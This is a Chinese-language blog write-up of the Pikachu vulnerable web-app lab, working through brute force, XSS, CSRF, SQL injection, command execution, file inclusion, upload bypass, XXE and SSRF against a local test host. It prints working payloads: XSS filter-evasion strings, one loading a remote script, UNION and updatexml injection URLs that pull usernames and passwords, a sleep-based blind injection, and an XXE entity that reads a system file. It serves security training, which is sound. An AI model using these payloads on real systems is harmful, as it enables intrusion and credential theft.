zoukankan      html  css  js  c++  java
  • pikachu通关

    密码爆破

    1.1表单爆破

    Burpsuite抓包直接爆
    img

    1.2验证码绕过(on server)

    验证码在服务端只验证一次,那么手动输入验证码后再次爆
    img

    1.3验证码绕过(on client)

    验证码只在客户端进行验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆
    img

    1.4绕过token防护

    这里我就得向服务器获取到token值,然后递归和字典一起爆
    img

    获取到的第一个token值,需要手动粘贴填一下,另外重定向哪里也需要设成一直
    img

    XSS注入

    反射型(get)

    直接再url中写入payload

    1<script>alert('1')</script>
    

    img

    反射型(post)

    在搜素框中写入payload,点击时触发

    1<h onclick=alert('1')>1<h>
    

    img

    存储型

    留言板中留个图片,不加源,同样是点击触发

    1<img  src="" onclick=alert('1')>
    

    img

    DOM型

    直接单引号闭合跃出,加上点击触发

    1' onclick="alert('xss')">
    

    img

    DOM_XSS-X

    同理
    img

    盲打

    不管3721,尝试就对了
    img

    img

    绕过滤

    第一种,大小写

    1<ScRipt>alert(1)</ScRIpT>
    

    img

    第二种,双重尖括号双倍快乐

    12<<SCRIPT>alert("XSS");//<</SCRIPT>
    

    img

    第三种,没有标签绕过
    某些浏览器中不需要加入常规XSSpayload中的”>”部分.例如firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!

    1<SCRIPT SRC=http://xss.rocks/xss.js?< B >
    

    img
    其他绕过方式

    1/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
    

    htmlspecialchars实体转换

    使用Javascript伪协议

    1javascript:alert(document.domain)
    

    img

    href输出

    同样可以使用伪协议输出

    1javascript:alert(document.domain)
    

    img

    js输出

    闭合,输出
    img

    CSRF跨站伪造请求

    GET型

    直接存在于URL中,实现起来很简单
    img

    post型

    POST注入稍微麻烦一点需要先截包,然后使用burpsuite生成一个表单,挂在服务器里,让受害者点击
    img

    token

    SQL注入

    数字型注入

    布尔判断寻找注入点
    img

    直接order by,猜出字段数

    img

    查找显示位
    img

    查看数据库版本和当前库名
    img

    根据得到的库名得到pikachu中所有表名
    img

    查找users表中的所有字段信息
    img

    然后直接查找pikachu库中users表的username和password信息
    img

    同理可以查找数据库root用户的密码
    img

    解密
    img

    字符型注入

    单引号判断注入点

    img

    闭合单引号

    img

    判断字段数
    img

    使用updatexml报错注入得到pikachu库下的表名

    1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查询
    

    img

    拿到users表的字段信息

    1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查询
    

    img

    拿users表的具体内容

    1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查询
    

    img

    搜索型注入

    可以发现单引号出现报错,注释掉后回显正常,那么就可以选择联合注入或者是报错注入,这里就不占篇幅了
    img

    不知名类型注入

    可以看见他构造的闭合有点奇怪,是'),有的情况下还有双引号、中括号等奇葩方式,但是只要找到注入点就基本结束了,注入方法参考上面的联合和报错
    img

    insert、update、delete注入

    加入万能的单引号
    img

    再次使用报错
    img

    延时注入(布尔注入与延时同理不做演示)

    payload如下

    123http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
    ?name=lili' and sleep(20
    )--+
    

    img

    宽字节注入

    带入%82复活单引号

    img
    接下来就简单了,和上面一样

    命令执行

    远程命令执行

    例如在执行ping命令后加管道符(或&&)执行systeminfo获取系统详细信息,
    img

    远程代码执行

    例如输入phpinfo();
    img

    文件包含

    本地文件包含

    一般配合目录遍历使用,例如读取服务器的hosts文件
    img
    img

    远程文件包含

    远端服务器准备
    docker快速开一个lnmp服务

    12root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
    84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5
    

    包含远端文件
    img

    文件下载

    目录遍历下载个记事本
    img

    文件上传

    客户端检查

    将webshell上传时改成图片格式,截包后改成php格式

    img

    服务端检查

    不用改成图片格式,直接上传webshell,截包将Content-Type声明为 image/png
    img

    webshell连接
    img

    图像内容检查

    这里使用了getimagesize() 函数获取图像大小及文件头是否是真实的图片,所以需要将webshell写入真实的图片来绕过检查
    img

    webshell连接
    这里的shell是放在图片里的,所以需要让nginx错误的解析图片释放webshell
    img

    越权

    水平越权

    直接替换用户查询即可
    img

    垂直越权

    admin登陆后进入添加用户复制URL退出登陆,登陆pikachu进入admin的管理界面添加一个用户lisi
    img

    目录遍历

    img

    敏感信息泄露

    直接F12查看代码
    img

    PHP反序列化

    img

    XML注入

    payload

    12345<?xml version = "1.0"?><!DOCTYPE ANY [
    
        <!ENTITY f SYSTEM "file:///C://Windows//win.ini">
    
    ]><x>&f;</x>
    

    img

    URL重定向

    img

    SSRF

    curl_exec()函数

    img

    file_get_contents()函数

    img

    https://brands.cnblogs.com/huawei)

  • 相关阅读:
    [ AHOI 2013 ] 作业 & [ BZOJ 3809 ] Gty的二逼妹子序列
    [ CQOI 2018 ] 异或序列
    [ Luogu 3709 ] 大爷的字符串题
    偷学笔记
    ZJOI2019 补题记录
    Bluestein's Algorithm
    「九省联考 2018」制胡窜
    Codeforces 1349D Bear and Biscuits
    AGC021E Ball Eat Chameleons
    AGC036F Square Constraints
  • 原文地址:https://www.cnblogs.com/zjhzjhhh/p/15701879.html
Copyright © 2011-2022 走看看